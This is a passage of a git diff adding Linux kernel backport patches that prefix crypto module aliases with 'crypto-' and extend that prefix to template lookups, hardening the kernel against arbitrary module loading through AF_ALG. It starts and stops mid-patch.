MODULE_DESCRIPTION("SHA-224 and SHA-256 Secure Hash Algorithm, sparc64 sha256 opcode accelerated"); + +-MODULE_ALIAS("sha224"); +-MODULE_ALIAS("sha256"); ++MODULE_ALIAS_CRYPTO("sha224"); ++MODULE_ALIAS_CRYPTO("sha256"); + + #include "crop_devid.c" +diff --git a/arch/sparc/crypto/sha512_glue.c b/arch/sparc/crypto/sha512_glue.c +index f04d1994d19aa..9fff88541b8c0 100644 +--- a/arch/sparc/crypto/sha512_glue.c ++++ b/arch/sparc/crypto/sha512_glue.c +@@ -222,7 +222,7 @@ module_exit(sha512_sparc64_mod_fini); + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("SHA-384 and SHA-512 Secure Hash Algorithm, sparc64 sha512 opcode accelerated"); + +-MODULE_ALIAS("sha384"); +-MODULE_ALIAS("sha512"); ++MODULE_ALIAS_CRYPTO("sha384"); ++MODULE_ALIAS_CRYPTO("sha512"); + + #include "crop_devid.c" +diff --git a/arch/x86/crypto/aes_glue.c b/arch/x86/crypto/aes_glue.c +index aafe8ce0d65dd..e26984f7ab8d2 100644 +--- a/arch/x86/crypto/aes_glue.c ++++ b/arch/x86/crypto/aes_glue.c +@@ -66,5 +66,5 @@ module_exit(aes_fini); + + MODULE_DESCRIPTION("Rijndael (AES) Cipher Algorithm, asm optimized"); + MODULE_LICENSE("GPL"); +-MODULE_ALIAS("aes"); +-MODULE_ALIAS("aes-asm"); ++MODULE_ALIAS_CRYPTO("aes"); ++MODULE_ALIAS_CRYPTO("aes-asm"); +diff --git a/arch/x86/crypto/aesni-intel_glue.c b/arch/x86/crypto/aesni-intel_glue.c +index f80e668785c0b..f89e7490d3039 100644 +--- a/arch/x86/crypto/aesni-intel_glue.c ++++ b/arch/x86/crypto/aesni-intel_glue.c +@@ -1373,4 +1373,4 @@ module_exit(aesni_exit); + + MODULE_DESCRIPTION("Rijndael (AES) Cipher Algorithm, Intel AES-NI instructions optimized"); + MODULE_LICENSE("GPL"); +-MODULE_ALIAS("aes"); ++MODULE_ALIAS_CRYPTO("aes"); +diff --git a/arch/x86/crypto/blowfish_avx2_glue.c b/arch/x86/crypto/blowfish_avx2_glue.c +index 4417e9aea78d1..183395bfc724f 100644 +--- a/arch/x86/crypto/blowfish_avx2_glue.c ++++ b/arch/x86/crypto/blowfish_avx2_glue.c +@@ -581,5 +581,5 @@ module_exit(fini); + + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("Blowfish Cipher Algorithm, AVX2 optimized"); +-MODULE_ALIAS("blowfish"); +-MODULE_ALIAS("blowfish-asm"); ++MODULE_ALIAS_CRYPTO("blowfish"); ++MODULE_ALIAS_CRYPTO("blowfish-asm"); +diff --git a/arch/x86/crypto/blowfish_glue.c b/arch/x86/crypto/blowfish_glue.c +index 3548d76dbaa92..9f7cc6bde5c8a 100644 +--- a/arch/x86/crypto/blowfish_glue.c ++++ b/arch/x86/crypto/blowfish_glue.c +@@ -465,5 +465,5 @@ module_exit(fini); + + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("Blowfish Cipher Algorithm, asm optimized"); +-MODULE_ALIAS("blowfish"); +-MODULE_ALIAS("blowfish-asm"); ++MODULE_ALIAS_CRYPTO("blowfish"); ++MODULE_ALIAS_CRYPTO("blowfish-asm"); +diff --git a/arch/x86/crypto/camellia_aesni_avx2_glue.c b/arch/x86/crypto/camellia_aesni_avx2_glue.c +index 414fe5d7946be..da710fcf8631f 100644 +--- a/arch/x86/crypto/camellia_aesni_avx2_glue.c ++++ b/arch/x86/crypto/camellia_aesni_avx2_glue.c +@@ -582,5 +582,5 @@ module_exit(camellia_aesni_fini); + + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("Camellia Cipher Algorithm, AES-NI/AVX2 optimized"); +-MODULE_ALIAS("camellia"); +-MODULE_ALIAS("camellia-asm"); ++MODULE_ALIAS_CRYPTO("camellia"); ++MODULE_ALIAS_CRYPTO("camellia-asm"); +diff --git a/arch/x86/crypto/camellia_aesni_avx_glue.c b/arch/x86/crypto/camellia_aesni_avx_glue.c +index 37fd0c0a81ea8..883e1af10dc5e 100644 +--- a/arch/x86/crypto/camellia_aesni_avx_glue.c ++++ b/arch/x86/crypto/camellia_aesni_avx_glue.c +@@ -574,5 +574,5 @@ module_exit(camellia_aesni_fini); + + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("Camellia Cipher Algorithm, AES-NI/AVX optimized"); +-MODULE_ALIAS("camellia"); +-MODULE_ALIAS("camellia-asm"); ++MODULE_ALIAS_CRYPTO("camellia"); ++MODULE_ALIAS_CRYPTO("camellia-asm"); +diff --git a/arch/x86/crypto/camellia_glue.c b/arch/x86/crypto/camellia_glue.c +index 5cb86ccd4acb9..16d65b0d28d13 100644 +--- a/arch/x86/crypto/camellia_glue.c ++++ b/arch/x86/crypto/camellia_glue.c +@@ -1725,5 +1725,5 @@ module_exit(fini); + + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("Camellia Cipher Algorithm, asm optimized"); +-MODULE_ALIAS("camellia"); +-MODULE_ALIAS("camellia-asm"); ++MODULE_ALIAS_CRYPTO("camellia"); ++MODULE_ALIAS_CRYPTO("camellia-asm"); +diff --git a/arch/x86/crypto/cast5_avx_glue.c b/arch/x86/crypto/cast5_avx_glue.c +index c6631813dc115..d416069e31846 100644 +--- a/arch/x86/crypto/cast5_avx_glue.c ++++ b/arch/x86/crypto/cast5_avx_glue.c +@@ -494,4 +494,4 @@ module_exit(cast5_exit); + + MODULE_DESCRIPTION("Cast5 Cipher Algorithm, AVX optimized"); + MODULE_LICENSE("GPL"); +-MODULE_ALIAS("cast5"); ++MODULE_ALIAS_CRYPTO("cast5"); +diff --git a/arch/x86/crypto/cast6_avx_glue.c b/arch/x86/crypto/cast6_avx_glue.c +index 8d0dfb86a5593..c19756265d4eb 100644 +--- a/arch/x86/crypto/cast6_avx_glue.c ++++ b/arch/x86/crypto/cast6_avx_glue.c +@@ -611,4 +611,4 @@ module_exit(cast6_exit); + + MODULE_DESCRIPTION("Cast6 Cipher Algorithm, AVX optimized"); + MODULE_LICENSE("GPL"); +-MODULE_ALIAS("cast6"); ++MODULE_ALIAS_CRYPTO("cast6"); +diff --git a/arch/x86/crypto/crc32-pclmul_glue.c b/arch/x86/crypto/crc32-pclmul_glue.c +index 9d014a74ef969..1937fc1d87633 100644 +--- a/arch/x86/crypto/crc32-pclmul_glue.c ++++ b/arch/x86/crypto/crc32-pclmul_glue.c +@@ -197,5 +197,5 @@ module_exit(crc32_pclmul_mod_fini); + MODULE_AUTHOR("Alexander Boyko "); + MODULE_LICENSE("GPL"); + +-MODULE_ALIAS("crc32"); +-MODULE_ALIAS("crc32-pclmul"); ++MODULE_ALIAS_CRYPTO("crc32"); ++MODULE_ALIAS_CRYPTO("crc32-pclmul"); +diff --git a/arch/x86/crypto/crc32c-intel_glue.c b/arch/x86/crypto/crc32c-intel_glue.c +index 6812ad98355c3..28640c3d6af7f 100644 +--- a/arch/x86/crypto/crc32c-intel_glue.c ++++ b/arch/x86/crypto/crc32c-intel_glue.c +@@ -280,5 +280,5 @@ MODULE_AUTHOR("Austin Zhang , Kent Liu "); ++MODULE_ALIAS_CRYPTO("arc4"); +diff --git a/crypto/blowfish_generic.c b/crypto/blowfish_generic.c +index 8baf5447d35b5..7bd71f02d0dde 100644 +--- a/crypto/blowfish_generic.c ++++ b/crypto/blowfish_generic.c +@@ -138,4 +138,4 @@ module_exit(blowfish_mod_fini); + + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("Blowfish Cipher Algorithm"); +-MODULE_ALIAS("blowfish"); ++MODULE_ALIAS_CRYPTO("blowfish"); +diff --git a/crypto/camellia_generic.c b/crypto/camellia_generic.c +index 75efa20523053..7bb234eaf5f88 100644 +--- a/crypto/camellia_generic.c ++++ b/crypto/camellia_generic.c +@@ -1098,4 +1098,4 @@ module_exit(camellia_fini); + + MODULE_DESCRIPTION("Camellia Cipher Algorithm"); + MODULE_LICENSE("GPL"); +-MODULE_ALIAS("camellia"); ++MODULE_ALIAS_CRYPTO("camellia"); +diff --git a/crypto/cast5_generic.c b/crypto/cast5_generic.c +index 5558f630a0ebd..84c86db67ec7a 100644 +--- a/crypto/cast5_generic.c ++++ b/crypto/cast5_generic.c +@@ -549,4 +549,4 @@ module_exit(cast5_mod_fini); + + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("Cast5 Cipher Algorithm"); +-MODULE_ALIAS("cast5"); ++MODULE_ALIAS_CRYPTO("cast5"); +diff --git a/crypto/cast6_generic.c b/crypto/cast6_generic.c +index de732528a4304..f408f0bd8de25 100644 +--- a/crypto/cast6_generic.c ++++ b/crypto/cast6_generic.c +@@ -291,4 +291,4 @@ module_exit(cast6_mod_fini); + + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("Cast6 Cipher Algorithm"); +-MODULE_ALIAS("cast6"); ++MODULE_ALIAS_CRYPTO("cast6"); +diff --git a/crypto/ccm.c b/crypto/ccm.c +index ed009b77e67d1..389670d4ab757 100644 +--- a/crypto/ccm.c ++++ b/crypto/ccm.c +@@ -879,5 +879,5 @@ module_exit(crypto_ccm_module_exit); + + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("Counter with CBC MAC"); +-MODULE_ALIAS("ccm_base"); +-MODULE_ALIAS("rfc4309"); ++MODULE_ALIAS_CRYPTO("ccm_base"); ++MODULE_ALIAS_CRYPTO("rfc4309"); +diff --git a/crypto/crc32.c b/crypto/crc32.c +index 9d1c41569898a..187ded28cb0bd 100644 +--- a/crypto/crc32.c ++++ b/crypto/crc32.c +@@ -156,3 +156,4 @@ module_exit(crc32_mod_fini); + MODULE_AUTHOR("Alexander Boyko "); + MODULE_DESCRIPTION("CRC32 calculations wrapper for lib/crc32"); + MODULE_LICENSE("GPL"); ++MODULE_ALIAS_CRYPTO("crc32"); +diff --git a/crypto/crypto_null.c b/crypto/crypto_null.c +index fee7265cd35df..7b39fa3deac2a 100644 +--- a/crypto/crypto_null.c ++++ b/crypto/crypto_null.c +@@ -149,9 +149,9 @@ static struct crypto_alg null_algs[3] = { { + .coa_decompress = null_compress } } + } }; + +-MODULE_ALIAS("compress_null"); +-MODULE_ALIAS("digest_null"); +-MODULE_ALIAS("cipher_null"); ++MODULE_ALIAS_CRYPTO("compress_null"); ++MODULE_ALIAS_CRYPTO("digest_null"); ++MODULE_ALIAS_CRYPTO("cipher_null"); + + static int __init crypto_null_mod_init(void) + { +diff --git a/crypto/ctr.c b/crypto/ctr.c +index f2b94f27bb2cf..3d81ff7e6b489 100644 +--- a/crypto/ctr.c ++++ b/crypto/ctr.c +@@ -466,4 +466,4 @@ module_exit(crypto_ctr_module_exit); + + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("CTR Counter block mode"); +-MODULE_ALIAS("rfc3686"); ++MODULE_ALIAS_CRYPTO("rfc3686"); +diff --git a/crypto/deflate.c b/crypto/deflate.c +index b57d70eb156b8..95d8d37c50218 100644 +--- a/crypto/deflate.c ++++ b/crypto/deflate.c +@@ -222,4 +222,4 @@ module_exit(deflate_mod_fini); + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("Deflate Compression Algorithm for IPCOMP"); + MODULE_AUTHOR("James Morris "); +- ++MODULE_ALIAS_CRYPTO("deflate"); +diff --git a/crypto/des_generic.c b/crypto/des_generic.c +index f6cf63f884682..5ec5ed544149a 100644 +--- a/crypto/des_generic.c ++++ b/crypto/des_generic.c +@@ -971,7 +971,7 @@ static struct crypto_alg des_algs[2] = { { + .cia_decrypt = des3_ede_decrypt } } + } }; + +-MODULE_ALIAS("des3_ede"); ++MODULE_ALIAS_CRYPTO("des3_ede"); + + static int __init des_generic_mod_init(void) + { +@@ -989,4 +989,4 @@ module_exit(des_generic_mod_fini); + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("DES & Triple DES EDE Cipher Algorithms"); + MODULE_AUTHOR("Dag Arne Osvik "); +-MODULE_ALIAS("des"); ++MODULE_ALIAS_CRYPTO("des"); +diff --git a/crypto/fcrypt.c b/crypto/fcrypt.c +index 3b2cf569c684f..300f5b80a0740 100644 +--- a/crypto/fcrypt.c ++++ b/crypto/fcrypt.c +@@ -420,3 +420,4 @@ module_exit(fcrypt_mod_fini); + MODULE_LICENSE("Dual BSD/GPL"); + MODULE_DESCRIPTION("FCrypt Cipher Algorithm"); + MODULE_AUTHOR("David Howells "); ++MODULE_ALIAS_CRYPTO("fcrypt"); +diff --git a/crypto/gcm.c b/crypto/gcm.c +index 43e1fb05ea548..8dbd80f5fb0c8 100644 +--- a/crypto/gcm.c ++++ b/crypto/gcm.c +@@ -1441,6 +1441,6 @@ module_exit(crypto_gcm_module_exit); + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("Galois/Counter Mode"); + MODULE_AUTHOR("Mikko Herranen "); +-MODULE_ALIAS("gcm_base"); +-MODULE_ALIAS("rfc4106"); +-MODULE_ALIAS("rfc4543"); ++MODULE_ALIAS_CRYPTO("gcm_base"); ++MODULE_ALIAS_CRYPTO("rfc4106"); ++MODULE_ALIAS_CRYPTO("rfc4543"); +diff --git a/crypto/ghash-generic.c b/crypto/ghash-generic.c +index 9d3f0c69a86ff..4e97fae9666f6 100644 +--- a/crypto/ghash-generic.c ++++ b/crypto/ghash-generic.c +@@ -172,4 +172,4 @@ module_exit(ghash_mod_exit); + + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("GHASH Message Digest Algorithm"); +-MODULE_ALIAS("ghash"); ++MODULE_ALIAS_CRYPTO("ghash"); +diff --git a/crypto/khazad.c b/crypto/khazad.c +index 60e7cd66facc8..873eb5ded6d7a 100644 +--- a/crypto/khazad.c ++++ b/crypto/khazad.c +@@ -880,3 +880,4 @@ module_exit(khazad_mod_fini); + + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("Khazad Cryptographic Algorithm"); ++MODULE_ALIAS_CRYPTO("khazad"); +diff --git a/crypto/krng.c b/crypto/krng.c +index a2d2b72fc135b..67c88b3312107 100644 +--- a/crypto/krng.c ++++ b/crypto/krng.c +@@ -62,4 +62,4 @@ module_exit(krng_mod_fini); + + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("Kernel Random Number Generator"); +-MODULE_ALIAS("stdrng"); ++MODULE_ALIAS_CRYPTO("stdrng"); +diff --git a/crypto/lzo.c b/crypto/lzo.c +index 1c2aa69c54b85..d1ff69404353e 100644 +--- a/crypto/lzo.c ++++ b/crypto/lzo.c +@@ -103,3 +103,4 @@ module_exit(lzo_mod_fini); + + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("LZO Compression Algorithm"); ++MODULE_ALIAS_CRYPTO("lzo"); +diff --git a/crypto/md4.c b/crypto/md4.c +index 0477a6a01d582..3515af425cc91 100644 +--- a/crypto/md4.c ++++ b/crypto/md4.c +@@ -255,4 +255,4 @@ module_exit(md4_mod_fini); + + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("MD4 Message Digest Algorithm"); +- ++MODULE_ALIAS_CRYPTO("md4"); +diff --git a/crypto/md5.c b/crypto/md5.c +index 7febeaab923bc..36f5e5b103f30 100644 +--- a/crypto/md5.c ++++ b/crypto/md5.c +@@ -168,3 +168,4 @@ module_exit(md5_mod_fini); + + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("MD5 Message Digest Algorithm"); ++MODULE_ALIAS_CRYPTO("md5"); +diff --git a/crypto/michael_mic.c b/crypto/michael_mic.c +index 079b761bc70d1..46195e0d0f4d1 100644 +--- a/crypto/michael_mic.c ++++ b/crypto/michael_mic.c +@@ -184,3 +184,4 @@ module_exit(michael_mic_exit); + MODULE_LICENSE("GPL v2"); + MODULE_DESCRIPTION("Michael MIC"); + MODULE_AUTHOR("Jouni Malinen "); ++MODULE_ALIAS_CRYPTO("michael_mic"); +diff --git a/crypto/rmd128.c b/crypto/rmd128.c +index 8a0f68b7f257f..049486ede938f 100644 +--- a/crypto/rmd128.c ++++ b/crypto/rmd128.c +@@ -327,3 +327,4 @@ module_exit(rmd128_mod_fini); + MODULE_LICENSE("GPL"); + MODULE_AUTHOR("Adrian-Ken Rueegsegger "); + MODULE_DESCRIPTION("RIPEMD-128 Message Digest"); ++MODULE_ALIAS_CRYPTO("rmd128"); +diff --git a/crypto/rmd160.c b/crypto/rmd160.c +index 525d7bb752cf6..de585e51d455f 100644 +--- a/crypto/rmd160.c ++++ b/crypto/rmd160.c +@@ -371,3 +371,4 @@ module_exit(rmd160_mod_fini); + MODULE_LICENSE("GPL"); + MODULE_AUTHOR("Adrian-Ken Rueegsegger "); + MODULE_DESCRIPTION("RIPEMD-160 Message Digest"); ++MODULE_ALIAS_CRYPTO("rmd160"); +diff --git a/crypto/rmd256.c b/crypto/rmd256.c +index 69293d9b56e0c..4ec02a754e099 100644 +--- a/crypto/rmd256.c ++++ b/crypto/rmd256.c +@@ -346,3 +346,4 @@ module_exit(rmd256_mod_fini); + MODULE_LICENSE("GPL"); + MODULE_AUTHOR("Adrian-Ken Rueegsegger "); + MODULE_DESCRIPTION("RIPEMD-256 Message Digest"); ++MODULE_ALIAS_CRYPTO("rmd256"); +diff --git a/crypto/rmd320.c b/crypto/rmd320.c +index 09f97dfdfbba3..770f2cb369f87 100644 +--- a/crypto/rmd320.c ++++ b/crypto/rmd320.c +@@ -395,3 +395,4 @@ module_exit(rmd320_mod_fini); + MODULE_LICENSE("GPL"); + MODULE_AUTHOR("Adrian-Ken Rueegsegger "); + MODULE_DESCRIPTION("RIPEMD-320 Message Digest"); ++MODULE_ALIAS_CRYPTO("rmd320"); +diff --git a/crypto/salsa20_generic.c b/crypto/salsa20_generic.c +index 9a4770c022841..3d0f9df30ac9f 100644 +--- a/crypto/salsa20_generic.c ++++ b/crypto/salsa20_generic.c +@@ -248,4 +248,4 @@ module_exit(salsa20_generic_mod_fini); + + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION ("Salsa20 stream cipher algorithm"); +-MODULE_ALIAS("salsa20"); ++MODULE_ALIAS_CRYPTO("salsa20"); +diff --git a/crypto/seed.c b/crypto/seed.c +index 9c904d6d21514..c6ba8438be430 100644 +--- a/crypto/seed.c ++++ b/crypto/seed.c +@@ -476,3 +476,4 @@ module_exit(seed_fini); + MODULE_DESCRIPTION("SEED Cipher Algorithm"); + MODULE_LICENSE("GPL"); + MODULE_AUTHOR("Hye-Shik Chang , Kim Hyun "); ++MODULE_ALIAS_CRYPTO("seed"); +diff --git a/crypto/serpent_generic.c b/crypto/serpent_generic.c +index 7ddbd7e888595..a53b5e2af335c 100644 +--- a/crypto/serpent_generic.c ++++ b/crypto/serpent_generic.c +@@ -665,5 +665,5 @@ module_exit(serpent_mod_fini); + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("Serpent and tnepres (kerneli compatible serpent reversed) Cipher Algorithm"); + MODULE_AUTHOR("Dag Arne Osvik "); +-MODULE_ALIAS("tnepres"); +-MODULE_ALIAS("serpent"); ++MODULE_ALIAS_CRYPTO("tnepres"); ++MODULE_ALIAS_CRYPTO("serpent"); +diff --git a/crypto/sha1_generic.c b/crypto/sha1_generic.c +index 42794803c4805..76d300fe968fb 100644 +--- a/crypto/sha1_generic.c ++++ b/crypto/sha1_generic.c +@@ -153,4 +153,4 @@ module_exit(sha1_generic_mod_fini); + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("SHA1 Secure Hash Algorithm"); + +-MODULE_ALIAS("sha1"); ++MODULE_ALIAS_CRYPTO("sha1"); +diff --git a/crypto/sha256_generic.c b/crypto/sha256_generic.c +index 5433667795249..8d7811a0031c1 100644 +--- a/crypto/sha256_generic.c ++++ b/crypto/sha256_generic.c +@@ -384,5 +384,5 @@ module_exit(sha256_generic_mod_fini); + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("SHA-224 and SHA-256 Secure Hash Algorithm"); + +-MODULE_ALIAS("sha224"); +-MODULE_ALIAS("sha256"); ++MODULE_ALIAS_CRYPTO("sha224"); ++MODULE_ALIAS_CRYPTO("sha256"); +diff --git a/crypto/sha512_generic.c b/crypto/sha512_generic.c +index 4c58620956793..93e5ed8090db0 100644 +--- a/crypto/sha512_generic.c ++++ b/crypto/sha512_generic.c +@@ -285,5 +285,5 @@ module_exit(sha512_generic_mod_fini); + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("SHA-512 and SHA-384 Secure Hash Algorithms"); + +-MODULE_ALIAS("sha384"); +-MODULE_ALIAS("sha512"); ++MODULE_ALIAS_CRYPTO("sha384"); ++MODULE_ALIAS_CRYPTO("sha512"); +diff --git a/crypto/tea.c b/crypto/tea.c +index 0a572323ee4a9..495be2d0077d4 100644 +--- a/crypto/tea.c ++++ b/crypto/tea.c +@@ -270,8 +270,8 @@ static void __exit tea_mod_fini(void) + crypto_unregister_algs(tea_algs, ARRAY_SIZE(tea_algs)); + } + +-MODULE_ALIAS("xtea"); +-MODULE_ALIAS("xeta"); ++MODULE_ALIAS_CRYPTO("xtea"); ++MODULE_ALIAS_CRYPTO("xeta"); + + module_init(tea_mod_init); + module_exit(tea_mod_fini); +diff --git a/crypto/tgr192.c b/crypto/tgr192.c +index 87403556fd0bf..5a5333f166eaf 100644 +--- a/crypto/tgr192.c ++++ b/crypto/tgr192.c +@@ -676,8 +676,8 @@ static void __exit tgr192_mod_fini(void) + crypto_unregister_shashes(tgr_algs, ARRAY_SIZE(tgr_algs)); + } + +-MODULE_ALIAS("tgr160"); +-MODULE_ALIAS("tgr128"); ++MODULE_ALIAS_CRYPTO("tgr160"); ++MODULE_ALIAS_CRYPTO("tgr128"); + + module_init(tgr192_mod_init); + module_exit(tgr192_mod_fini); +diff --git a/crypto/twofish_generic.c b/crypto/twofish_generic.c +index 2d5000552d0f9..523ad8c4e3591 100644 +--- a/crypto/twofish_generic.c ++++ b/crypto/twofish_generic.c +@@ -211,4 +211,4 @@ module_exit(twofish_mod_fini); + + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION ("Twofish Cipher Algorithm"); +-MODULE_ALIAS("twofish"); ++MODULE_ALIAS_CRYPTO("twofish"); +diff --git a/crypto/wp512.c b/crypto/wp512.c +index 180f1d6e03f48..8d4076417e871 100644 +--- a/crypto/wp512.c ++++ b/crypto/wp512.c +@@ -1167,8 +1167,8 @@ static void __exit wp512_mod_fini(void) + crypto_unregister_shashes(wp_algs, ARRAY_SIZE(wp_algs)); + } + +-MODULE_ALIAS("wp384"); +-MODULE_ALIAS("wp256"); ++MODULE_ALIAS_CRYPTO("wp384"); ++MODULE_ALIAS_CRYPTO("wp256"); + + module_init(wp512_mod_init); + module_exit(wp512_mod_fini); +diff --git a/crypto/zlib.c b/crypto/zlib.c +index 06b62e5cdcc72..d980788352817 100644 +--- a/crypto/zlib.c ++++ b/crypto/zlib.c +@@ -378,3 +378,4 @@ module_exit(zlib_mod_fini); + MODULE_LICENSE("GPL"); + MODULE_DESCRIPTION("Zlib Compression Algorithm"); + MODULE_AUTHOR("Sony Corporation"); ++MODULE_ALIAS_CRYPTO("zlib"); +diff --git a/drivers/crypto/padlock-aes.c b/drivers/crypto/padlock-aes.c +index 633ba945e153d..c178ed8c3908d 100644 +--- a/drivers/crypto/padlock-aes.c ++++ b/drivers/crypto/padlock-aes.c +@@ -563,4 +563,4 @@ MODULE_DESCRIPTION("VIA PadLock AES algorithm support"); + MODULE_LICENSE("GPL"); + MODULE_AUTHOR("Michal Ludvig"); + +-MODULE_ALIAS("aes"); ++MODULE_ALIAS_CRYPTO("aes"); +diff --git a/drivers/crypto/padlock-sha.c b/drivers/crypto/padlock-sha.c +index 9266c0e254929..93d7753ab38a3 100644 +--- a/drivers/crypto/padlock-sha.c ++++ b/drivers/crypto/padlock-sha.c +@@ -593,7 +593,7 @@ MODULE_DESCRIPTION("VIA PadLock SHA1/SHA256 algorithms support."); + MODULE_LICENSE("GPL"); + MODULE_AUTHOR("Michal Ludvig"); + +-MODULE_ALIAS("sha1-all"); +-MODULE_ALIAS("sha256-all"); +-MODULE_ALIAS("sha1-padlock"); +-MODULE_ALIAS("sha256-padlock"); ++MODULE_ALIAS_CRYPTO("sha1-all"); ++MODULE_ALIAS_CRYPTO("sha256-all"); ++MODULE_ALIAS_CRYPTO("sha1-padlock"); ++MODULE_ALIAS_CRYPTO("sha256-padlock"); +diff --git a/drivers/crypto/ux500/cryp/cryp_core.c b/drivers/crypto/ux500/cryp/cryp_core.c +index 3833bd71cc5df..e08275de37efb 100644 +--- a/drivers/crypto/ux500/cryp/cryp_core.c ++++ b/drivers/crypto/ux500/cryp/cryp_core.c +@@ -1775,7 +1775,7 @@ module_exit(ux500_cryp_mod_fini); + module_param(cryp_mode, int, 0); + + MODULE_DESCRIPTION("Driver for ST-Ericsson UX500 CRYP crypto engine."); +-MODULE_ALIAS("aes-all"); +-MODULE_ALIAS("des-all"); ++MODULE_ALIAS_CRYPTO("aes-all"); ++MODULE_ALIAS_CRYPTO("des-all"); + + MODULE_LICENSE("GPL"); +diff --git a/drivers/crypto/ux500/hash/hash_core.c b/drivers/crypto/ux500/hash/hash_core.c +index cf55089675398..6789c16539132 100644 +--- a/drivers/crypto/ux500/hash/hash_core.c ++++ b/drivers/crypto/ux500/hash/hash_core.c +@@ -1998,7 +1998,7 @@ module_exit(ux500_hash_mod_fini); + MODULE_DESCRIPTION("Driver for ST-Ericsson UX500 HASH engine."); + MODULE_LICENSE("GPL"); + +-MODULE_ALIAS("sha1-all"); +-MODULE_ALIAS("sha256-all"); +-MODULE_ALIAS("hmac-sha1-all"); +-MODULE_ALIAS("hmac-sha256-all"); ++MODULE_ALIAS_CRYPTO("sha1-all"); ++MODULE_ALIAS_CRYPTO("sha256-all"); ++MODULE_ALIAS_CRYPTO("hmac-sha1-all"); ++MODULE_ALIAS_CRYPTO("hmac-sha256-all"); +diff --git a/drivers/s390/crypto/ap_bus.c b/drivers/s390/crypto/ap_bus.c +index 9de41aa148965..6f512fa4fa033 100644 +--- a/drivers/s390/crypto/ap_bus.c ++++ b/drivers/s390/crypto/ap_bus.c +@@ -44,6 +44,7 @@ + #include + #include + #include ++#include + + #include "ap_bus.h" + +diff --git a/include/linux/crypto.h b/include/linux/crypto.h +index b92eadf92d72a..2b00d92a6e6fc 100644 +--- a/include/linux/crypto.h ++++ b/include/linux/crypto.h +@@ -25,6 +25,19 @@ + #include + #include + ++/* ++ * Autoloaded crypto modules should only use a prefixed name to avoid allowing ++ * arbitrary modules to be loaded. Loading from userspace may still need the ++ * unprefixed names, so retains those aliases as well. ++ * This uses __MODULE_INFO directly instead of MODULE_ALIAS because pre-4.3 ++ * gcc (e.g. avr32 toolchain) uses __LINE__ for uniqueness, and this macro ++ * expands twice on the same line. Instead, use a separate base name for the ++ * alias. ++ */ ++#define MODULE_ALIAS_CRYPTO(name) \ ++ __MODULE_INFO(alias, alias_userspace, name); \ ++ __MODULE_INFO(alias, alias_crypto, "crypto-" name) ++ + /* + * Algorithm masks and types. + */ +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0036-f2175543cf0d-crypto include crypto module prefix in template.patch b/recipes-kernel/linux/linux-bass/autopatcher/0036-f2175543cf0d-crypto include crypto module prefix in template.patch new file mode 100644 index 0000000..35aec06 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0036-f2175543cf0d-crypto include crypto module prefix in template.patch @@ -0,0 +1,265 @@ +From f2175543cf0d029fe789850499d903c8e3f0d24b Mon Sep 17 00:00:00 2001 +From: Kees Cook +Date: Mon, 24 Nov 2014 16:32:38 -0800 +Subject: crypto: include crypto- module prefix in template + +commit 4943ba16bbc2db05115707b3ff7b4874e9e3c560 upstream. + +This adds the module loading prefix "crypto-" to the template lookup +as well. + +For example, attempting to load 'vfat(blowfish)' via AF_ALG now correctly +includes the "crypto-" prefix at every level, correctly rejecting "vfat": + + net-pf-38 + algif-hash + crypto-vfat(blowfish) + crypto-vfat(blowfish)-all + crypto-vfat + +Reported-by: Mathias Krause +Signed-off-by: Kees Cook +Acked-by: Mathias Krause +Signed-off-by: Herbert Xu +Signed-off-by: Greg Kroah-Hartman +--- + arch/x86/crypto/fpu.c | 3 +++ + crypto/algapi.c | 4 ++-- + crypto/authenc.c | 1 + + crypto/authencesn.c | 1 + + crypto/cbc.c | 1 + + crypto/ccm.c | 1 + + crypto/chainiv.c | 1 + + crypto/cmac.c | 1 + + crypto/cryptd.c | 1 + + crypto/ctr.c | 1 + + crypto/cts.c | 1 + + crypto/ecb.c | 1 + + crypto/eseqiv.c | 1 + + crypto/gcm.c | 1 + + crypto/hmac.c | 1 + + crypto/lrw.c | 1 + + crypto/pcbc.c | 1 + + crypto/pcrypt.c | 1 + + crypto/seqiv.c | 1 + + crypto/vmac.c | 1 + + crypto/xcbc.c | 1 + + crypto/xts.c | 1 + + 22 files changed, 25 insertions(+), 2 deletions(-) + +diff --git a/arch/x86/crypto/fpu.c b/arch/x86/crypto/fpu.c +index 98d7a188f46b0..f368ba261739f 100644 +--- a/arch/x86/crypto/fpu.c ++++ b/arch/x86/crypto/fpu.c +@@ -17,6 +17,7 @@ + #include + #include + #include ++#include + #include + + struct crypto_fpu_ctx { +@@ -159,3 +160,5 @@ void __exit crypto_fpu_exit(void) + { + crypto_unregister_template(&crypto_fpu_tmpl); + } ++ ++MODULE_ALIAS_CRYPTO("fpu"); +diff --git a/crypto/algapi.c b/crypto/algapi.c +index 7a1ae87f16834..00d8d939733b2 100644 +--- a/crypto/algapi.c ++++ b/crypto/algapi.c +@@ -495,8 +495,8 @@ static struct crypto_template *__crypto_lookup_template(const char *name) + + struct crypto_template *crypto_lookup_template(const char *name) + { +- return try_then_request_module(__crypto_lookup_template(name), "%s", 